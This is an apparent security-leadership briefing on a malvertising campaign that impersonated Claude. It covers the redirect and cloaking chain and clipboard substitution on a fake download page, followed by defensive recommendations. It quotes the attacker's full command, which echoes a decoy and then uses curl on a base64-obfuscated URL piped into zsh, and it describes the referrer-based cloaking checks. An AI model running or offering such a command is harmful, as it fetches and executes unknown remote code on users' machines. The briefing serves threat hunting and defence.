What happened
The Bing tracking link contained a timestamp that Push Security decoded to October 5, 2026. On October 9, 2026, Push Security published its analysis of the Adception redirect and cloaking chain. The observed chain began with a Google advertisement for the search “claude mac”, passed through Bing’s bing.com/ck/a tracking endpoint and a compromised South American retailer website, and ended at claude-desk-code[.]com. The retailer page checked referrer and browser-header conditions, while the fake Claude site checked whether the visitor arrived through Google or Bing, limiting exposure to scanners and direct visitors.
The fake page presented an apparently legitimate installation instruction while its copy function supplied a different terminal command. Push Security published the copied command as: echo “Downloading Claude: hxxps://claude[.]ai/install.sh” && curl -s $(echo “aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0” | openssl base64 -d -A) | zsh. The cited sources did not identify a confirmed final malware family delivered by the published command. Attribution posture: Push Security did not attribute the Adception campaign to a named threat actor. No AI agent or framework was used in the observed delivery chain; Claude was impersonated as the lure. No underlying AI model was identified in the cited sources. Operators configured the advertising, redirect and cloaking chain; no AI model configuration was reported. The campaign mechanically redirected browsers and replaced clipboard content; no AI model execution was established. The cited source did not publish the associated malware detail described as Confirmed final payload family.
Why this matters now
The campaign exploits organisational trust in paid search, recognised domains and a high-demand AI product rather than a software vulnerability. The visible advertisement and early redirect stages appear legitimate, while cloaking limits what scanners and direct visitors see. Enterprises that allow developers or other users to acquire tools independently through search results have an exposure path that conventional domain reputation and application allowlisting may not fully address.
The attack still requires user execution, which creates useful control opportunities. Browser, endpoint and identity teams can correlate visits to the lookalike domain, clipboard changes, terminal launch, curl execution and subsequent credential access. Security leadership should use the incident to make approved AI-software acquisition explicit, support legitimate installation paths and remove local privilege or unmanaged download exceptions that convert social engineering into endpoint execution.
The decision for security leaders
Assign endpoint and browser-security teams one joined investigation covering redirect telemetry, clipboard activity, shell execution and credential access. Each signal alone may appear benign; the sequence provides the decision value.
Make AI-tool acquisition a governed software-supply decision. Users need a supported installation source, signed-package expectations and a clear route for requesting tools instead of relying on advertisements or lookalike download pages.
Review whether local administrator rights, unrestricted curl execution or unmanaged browser extensions create avoidable exceptions for developer populations. Exceptions should have owners, monitoring and expiry rather than remaining implicit.
Evidence of closure
- Web and DNS controls block the published lookalike domain.
- Endpoint hunting records disposition every match to the copied command.
- Approved AI-tool installation guidance names verified enterprise sources.
- Exception records document monitored users retaining browser-to-shell freedom.
The Security.io assessment
The evidence establishes the redirect, cloaking and clipboard-substitution mechanics. It does not establish the number of victims, a final payload family, successful credential theft or a named operator. Those limitations should constrain impact claims without reducing the value of the published domain and command for hunting.
Claude’s role was impersonation, not demonstrated AI-enabled execution. Categorising the event as an AI-operated attack would overstate the evidence and distract from the actual control failures: trusted advertising, redirect opacity, user-executed shell commands and unmanaged software acquisition.
Blocking the final domain is necessary but narrow. The more durable control is detecting and constraining transitions from browser content to terminal execution while giving users a legitimate, verifiable method to obtain approved tools.
Questions for the morning meeting
- Can endpoint telemetry detect shell commands launched immediately after browser clipboard activity?
- Does policy permit users to install AI tools from search advertisements?
- Can secure web controls reconstruct redirect chains that begin on trusted domains?